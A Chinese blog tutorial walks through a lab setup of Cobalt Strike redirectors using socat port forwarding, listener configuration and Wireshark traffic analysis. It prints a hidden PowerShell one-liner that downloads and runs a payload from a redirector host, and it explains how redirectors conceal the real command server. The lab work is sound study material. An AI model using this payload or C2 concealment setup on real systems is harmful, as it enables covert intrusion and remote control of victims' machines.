149.网络安全渗透测试—[Cobalt Strike系列]—[重定器/代理服务器/流量走向分析]
我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!
文章目录
- 一、Cobalt Strike 重定器
- 1、Cobalt Strike 重定器简介
- 2、重定器用到的端口转发工具
- 二、cobalt strike重定器实验
- 1、实验背景
- 2、实验过程
- 3、流量分析
一、Cobalt Strike 重定器
1、Cobalt Strike 重定器简介
(1)重定器简介
“重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。(注:即通常说的代理服务器或端口转发工具),“重定器”服务(在攻击和防御中)是很重要的角色。
(2)重定器功能
第一 保护team server团队服务器地址,并作为攻击者,它也是一个很好的安全操作。
第二 它给予了热冗余备份能力,假如你的众多重定器中有一两个堵塞了没有大不了的,还可以通过其他的重定器进行通信。
(3)重定器拓扑
| Windows Server 2019 | kali | Ubunt1 | Ubunt2 | Windows Server 2008 |
|---|---|---|---|---|
| 充当DSN服务器 | 充当team server团队服务器 | 充当重定器1(即代理服务器1) | 充当重定器2(即代理服务器2) | 充当靶机 |

2、重定器用到的端口转发工具
工具socat是一款端口重定向工具,我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接。(即监听本地80端口,把向本地80的连接请求转发给teamserver团队服务器的80)
充当重定器的linux系统上的命令:socat TCP4-LISTEN:80,fork TCP4:[team server]:80
二、cobalt strike重定器实验
1、实验背景
(1)网络环境:NAT
(1)dns服务器 windows server2019: 192.168.97.19
(2)team server服务器 kali:192.168.97.129
(3)重定器1 ubuntu14:192.168.97.202
(4)重定器2 ubuntu16:192.168.97.203
(5)靶机 windows server 2008:192.168.97.131
(2)DNS服务器:Windows Server 2019

第一步:新建域名 team.com
添加一个a记录测试是否成功:ceshi.team.com 192.168.97.19

第二步:然后添加以下a记录
Teamserver:192.168.97.129 t.team.com
ubuntu跳板 1:192.168.97.202 r1.team.com
ubuntu跳板2: 192.168.97.203 r2.team.com

(3)team server团队服务器:kali linux
vim /etc/network/interfaces

vim /etc/resolv.conf

(4)重定器1:Ubuntu14.04.5


(5)重定器2:Ubuntu16.04.3


(6)靶机:Windows Server 2008

2、实验过程
(1)kali开启teamserver团队服务器:./teamserver 192.168.97.129 123456
//注意:这里要用IP地址,不能使用域名

(2)本地连接teamserver团队服务器:./cobaltstrike
//注意:这里不再新开虚拟机充当攻击者团队成员了,直接使用kali本地连接到teamserver,因为一样都是在团队服务器上操作。


(3)所有ubuntu跳板开启端口转发:socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80
//解释1:TCP4-LISTEN:80是监听本地的80端口
//解释2:fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口
//总结:只要是对跳板机的80请求,都会重定向到teamserver,因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。(具体操作在下面)
//如下图所示:


(4)测试重定向是否成功:
第一步:在team server上打开cs 的web日志浏览器
//如下图所示:点击View选项卡,选择Web Log

第二步:在dns服务器的火狐浏览器上访问http://r1.team.com/r1
//如下图所示:此时r1接收到dns服务器发来的80请求,r1通过socat把80请求重定向到team server,因此team server会记录到来自r1的请求。


第三步:在dns服务器的火狐浏览器访问http://r2.team.com/r2
//如下图所示:此时r2接收到dns服务器发来的80请求,r2通过socat会把80请求重定向到team server,因此team server会记录到来自r2的请求。


(5)配置监听器注意事项
注意1:监听器的的第一个host填写team server真实地址
注意2:监听器的的第二个host填写team server所有重定器地址
附:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。

(6)配置监听器
//如下图所示:这里的host填写的是beacon的真实地址,也就是teamserver团队服务器的地址

//如下图所示:其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下:此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。(因此:这里填写的是指向teamserver团队服务器的众多重定器)

(7)生成payload攻击载荷:使用脚本web传递
//如下图所示:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。

//如下图所示:保存下来payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"

(8)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
//如下图所示:在靶机上运行payload

//如下图所示:在team server的web日志上记录了跳板r2向team server的请求(实际为靶机向r2请求,r2转到了team server)

(9)team server上移除会话,断开r2跳板机的socat端口转发,靶机重新使用一次payload,测试冗余功能
//如下图所示:team server移除连接
//如下图所示:断开r2跳板机的socat端口转发

//如下图所示:靶机再次运行一次payload

//如下图所示:team server上面只记录到了r1和靶机之间的连接(实际上是靶机向r1发起连接,让r1转发到了team server)

3、流量分析
(1)在team server服务器打开wireshark,查看流量走向:
//如下图所示:有虚实两种线,是区别两个TCP连接,由于在抓包的过程中,他的包顺序可能会混乱,因此我们分别追踪167的TCP流和174的TCP流,再去加以分析。

//如下所示:追踪167的TCP流,发现是167到185,是靶机和r1之间的连接

//如下图解释1:167到169是靶机和r1之间的TCP三次握手,靶机的49321端口和r1的80端口之间建立了连接;

//如下图解释2:170到173是靶机和r1之间的http连接;

//如下图解释3:183到184是r2和team server之间的TCP三次握手(本该是四次,这里把FIN和ACK合并了),断开TCP连接;

//如下图所示:追踪174的TCP流,发现是174到187,是r1和team server之间的连接

//如下图解释1:174到176是r1跳板和team server之间经过三次握手建立的TCP连接

//如下图解释2:177到179是r1跳板和team server之间的HTTP连接

//如下图解释3:180-181-186-187是r1跳板和team server之间四次挥手,断开TCP连接

(2)移除team server上建立的会话,等待再次连接后,重新查看流量走向,与team server上的命令查看的端口记录对照:
//如下图所示:r1跳板的40314和team server的80端口进行了连接并断开

//如下图所示:在team server上存在记录

(3)把r2跳板的socat端口转发打开,再次查看流量走向:
//如下图所示:发现靶机和r2也有连接

//如下图所示:r2和team server也有连接

(4)为了验证第13条中的结论,也就是r1和r2都和靶机有连接,我们此时把team server上的会话sleep设置为5,也就是每5秒交互一次,此时观察team server的视图,会发现在5秒后r1和r2在替换

相关文章:
149.网络安全渗透测试—[Cobalt Strike系列]—[重定器/代理服务器/流量走向分析]
我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!! 文章目录一、Cobalt Strike 重定器1、Cobalt Strike 重定器简介2、重定器用到的端口转发工具二、cobalt strike重定器实验1、实验背景2、实验过程3、流…...
Qt调用Chrome浏览器
一、前言 最近有个小项目需要跳转网页,之前有了解过,但是没有在项目中使用过Qt网页嵌入; 结合自己之前的博客,有如下两种技术可以实现我的需求: 1、Qt–网页嵌入 2、Qt使用QAxWidget调用Windows组件 但是在实际开…...
JVM虚拟机垃圾回收机制
JVM虚拟机垃圾回收机制垃圾回收机制判断是否存活算法引用计数法可达性分析法最终判定垃圾回收算法分代收集机制空间分配担保垃圾回收机制 判断是否存活算法 java语言和我们之前学的c/c不同,c/c可以手动进行内存释放,那样随时随地就可以释放不必要的内存…...
菜鸟刷题Day3
⭐作者:别动我的饭 ⭐专栏:菜鸟刷题 ⭐标语:悟已往之不谏,知来者之可追 一.字符串压缩:面试题 01.06. 字符串压缩 - 力扣(LeetCode) 描述 字符串压缩。利用字符重复出现的次数,编…...
南京邮电大学数据库第三次课后作业
1.单选(2分) 下列关于模式的术语中,(C)不是指数据库三级模式结构中的外模式 (A)子模式 (B)用户模式 (C)存储模式 (D)用户视图 2单选题(2分) 数据库的三级模式结构中,描述数据全局逻辑…...
【vue2】使用vue常见的业务流程与实现思路
🥳博 主:初映CY的前说(前端领域) 🌞个人信条:想要变成得到,中间还有做到! 🤘本文核心:vue的业务处理思路。前台数据渲染与后台的增删改查操作 【前言】当大家会点开这一篇文章…...
Linux操作系统ARM体系结构处理器机制原理与实现
ARM 的概念ARM(Advanced RISC Machine),既可以认为是一个公司的名字,也可以认为是对一类微处理器的通称,还可以认为是一种技术的名字。ARM 公司并不生产芯片也不销售芯片,它只出售芯片技术授权。其合作公司针对不同需求搭配各类硬…...
Mongodb 常用基本语法与操作
常用操作 1、 Help查看命令提示 db.help(); 2、 切换/创建数据库 use test 如果数据库不存在,则创建数据库,否则切换到指定数据库 3、 查询所有数据库 show dbs; 4、 删除当前使用数据库 db.dropDatabase(); 5、 查看当前使用的数据库 db.getName(); 6、…...
MySQL注入秘籍【绕过篇】
MySQL注入秘籍【绕过篇】1.通用方法2.绕过空格3.绕过引号4.绕过逗号,5.绕过等号6.绕过and/or7.绕过注释符8.绕过函数检测1.通用方法 编码 编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码…...
TCP三次握手/四次挥手
TCP三次握手 任何基于TCP的应用,在发送数据之前,都需要由TCP进行“三次握手”建立连接示意图 第一次握手:客户端PC发送一个SYN位置1(SYN1代表请求服务端建立连接)的TCP报文发送给要建立TCP连接的Server,此…...
Python程序员看见一个好看的手机壁纸网站,开撸!
人生苦短,我用python 最近好像没什么大事, .那就采集一下小——姐——姐————看下吧~ python 安装包资料:点击此处跳转文末名片获取 最近有同学的爬虫代码出了bug,给问我怎么改 于是就发现了这个好看的手机壁纸网站。 这个图片应该是违规…...
浏览器工作原理
一、JavaScript 的历史 JavaScript(简称JS)Web前端开发的脚本语言。 它诞生1995年,由网景公司的 Brendan Eich 开发。最初,JavaScript 被设计用于在网页上嵌入动态内容和交互式功能。 1996年,JavaScript 1.1 成为国…...
对在使用容器HashSet存放自定义对象时重写其类的hashcode和equals方法的几点认识
判断是否是相同对象时,hashcode和equals方法的调用顺序 先调用hashcode()方法,再调用equals()方法如果hashcode()方法得到的哈希值不同,那么两个对象一定不相同,不作后续判断如果hashcode()方法得到的哈希值相同,那么…...
Java集群:单体架构升级到集群架构(二)实现session共享
默认情况下,session是保存在TOMCAT服务器内存中的,如果我们有两个TOMCAT,它们的session是没有共享的。我们这回要做的就是把session保存在redis中,这样两个TOMCAT就可以共享session了。其实这货的详细原理还是很复杂的,…...
MySQL索引及索引失效的分析(MySQL8.0.19)
目录索引数据结构主键索引非主键索引索引在什么时候是有效的?字符串比较大小btween and索引数据结构 主键索引 我们先来看看索引的数据结构,以及我们是如何利用索引来搜索数据的。MySQL的数据存储结构是B树,在叶子节点存储了数据行ÿ…...
第一个 Django 应用
1. 创建项目 1.1 新建项目 首先新建一个项目,名为 mysite,命令如下: django-admin startproject mysite # 或用 django-admin.py运行成功,生成一些目录: mysite/manage.py # 管理 Django 项目的命令行工具mysit…...
001-ksum 求符合条件的 k 个数 1. Two Sum/15. 3Sum/18. 4Sum/
推荐阅读 000-从零开始的数据结构与算法 001-01-ksum 求符合条件的 k 个数 1. Two Sum/15. 3Sum/18. 4Sum/ 002-两数相加 add two numbers 003-无重复字符的最长子串 Longest Substring Without Repeating Characters 004-寻找两个正序数组的中位数 005-最长回文子串 Lon…...
Nginx学习笔记(三)Linux环境下Nginx的安装和部署
目录一、官网下载二、配置基本信息1.上传 Linux2.解压3.安装编译环境4.配置基本信息4.1 配置失败原因(1):没有安装C编译环境4.2 配置失败原因(2):没有安装 PCRE 依赖4.3 配置失败原因(3):没有安装 zlib 依赖5.查看文件列表三、编译安装四、配…...
【十二天学java】day05--数组和循环高级
**# 1.数组 概念: 指的是一种容器,可以同来存储同种数据类型的多个值。 但是数组容器在存储数据的时候,需要结合隐式转换考虑。 比如: 定义了一个int类型的数组。那么boolean。double类型的数据是不能存到这个数组中的&#…...
用队列实现栈和用栈实现队列(C 语言)
目录 一、用队列实现栈 二、 用栈实现队列 一、用队列实现栈 请你仅使用两个队列实现一个后入先出(LIFO)的栈,并支持普通栈的全部四种操作(push、top、pop 和 empty)。 实现 MyStack 类: void push(int…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...
Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器
第一章 引言:语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域,文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量,支撑着搜索引擎、推荐系统、…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
